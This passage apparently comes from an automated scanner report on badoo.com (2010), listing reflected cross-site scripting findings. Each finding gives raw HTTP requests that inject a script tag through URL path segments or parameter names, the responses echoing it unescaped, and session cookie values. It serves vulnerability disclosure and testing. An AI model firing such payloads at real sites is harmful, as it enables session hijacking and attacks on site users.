HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:26 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:25 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5789
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/dinoitalia/?lang_id=5&8094c"><script>alert(1)</script>3604b8c42d8=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee4f6"><script>alert(1)</script>dfc1def2b75 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryee4f6"><script>alert(1)</script>dfc1def2b75/people/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:38 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:37 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5837
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/directoryee4f6"><script>alert(1)</script>dfc1def2b75/people/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c92ff"><script>alert(1)</script>d595b365656 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /doritos699c92ff"><script>alert(1)</script>d595b365656/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:24:40 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 6381
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/doritos699c92ff"><script>alert(1)</script>d595b365656/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99bd8"><script>alert(1)</script>423d7dd8ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /facebook99bd8"><script>alert(1)</script>423d7dd8ce/auth.phtml HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:12 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:11 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5853
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/facebook99bd8"><script>alert(1)</script>423d7dd8ce/auth.phtml?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b871b"><script>alert(1)</script>9db85b7557a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /geerb871b"><script>alert(1)</script>9db85b7557a/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:11 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:10 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5645
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/geerb871b"><script>alert(1)</script>9db85b7557a/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 915f9"><script>alert(1)</script>5748ec2d6f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /guidelines915f9"><script>alert(1)</script>5748ec2d6f9/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:32 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:31 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5741
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/guidelines915f9"><script>alert(1)</script>5748ec2d6f9/?lang_id=5"> ...[SNIP]...
3.28. http://badoo.com/guidelines/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/guidelines/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2c89"><script>alert(1)</script>6cd72623d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /guidelines/?e2c89"><script>alert(1)</script>6cd72623d6=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:15 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:14 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 8959
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/guidelines/?lang_id=5&e2c89"><script>alert(1)</script>6cd72623d6=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28cc5"><script>alert(1)</script>81b21b0946 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help28cc5"><script>alert(1)</script>81b21b0946/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:57 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:56 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5629
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/help28cc5"><script>alert(1)</script>81b21b0946/?lang_id=5"> ...[SNIP]...
3.30. http://badoo.com/help/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/help/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dae0b"><script>alert(1)</script>481bc842bea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/?dae0b"><script>alert(1)</script>481bc842bea=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:28 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:27 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 53649
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/help/?lang_id=5&dae0b"><script>alert(1)</script>481bc842bea=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47078"><script>alert(1)</script>6fee153eda0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /import47078"><script>alert(1)</script>6fee153eda0/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:56:33 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:32 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/import47078"><script>alert(1)</script>6fee153eda0/?lang_id=5"> ...[SNIP]...
3.32. http://badoo.com/import/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/import/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc706"><script>alert(1)</script>520323e515f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /import/?dc706"><script>alert(1)</script>520323e515f=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:50 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:49 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 21156
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id ...[SNIP]... <a href="http://badoo.com/import/?lang_id=5&dc706"><script>alert(1)</script>520323e515f=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e60bc"><script>alert(1)</script>73ccb8b5773 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /karliitaalaniise60bc"><script>alert(1)</script>73ccb8b5773/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:09 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:08 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5821
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/karliitaalaniise60bc"><script>alert(1)</script>73ccb8b5773/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2549c"><script>alert(1)</script>24cb79a9fd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /languages2549c"><script>alert(1)</script>24cb79a9fd8/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:03 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:02 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5725
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/languages2549c"><script>alert(1)</script>24cb79a9fd8/?lang_id=5"> ...[SNIP]...
3.35. http://badoo.com/languages/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/languages/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2da14"><script>alert(1)</script>3a08eabcbe0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /languages/?2da14"><script>alert(1)</script>3a08eabcbe0=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:50 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:49 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 6885
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/languages/?lang_id=5&2da14"><script>alert(1)</script>3a08eabcbe0=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0275"><script>alert(1)</script>6102bd694a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /lucasdimediod0275"><script>alert(1)</script>6102bd694a6/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:31 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:30 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5773
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/lucasdimediod0275"><script>alert(1)</script>6102bd694a6/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76d19"><script>alert(1)</script>0ba30c95040 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /nelsua76d19"><script>alert(1)</script>0ba30c95040/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:11 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:10 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/nelsua76d19"><script>alert(1)</script>0ba30c95040/?lang_id=5"> ...[SNIP]...
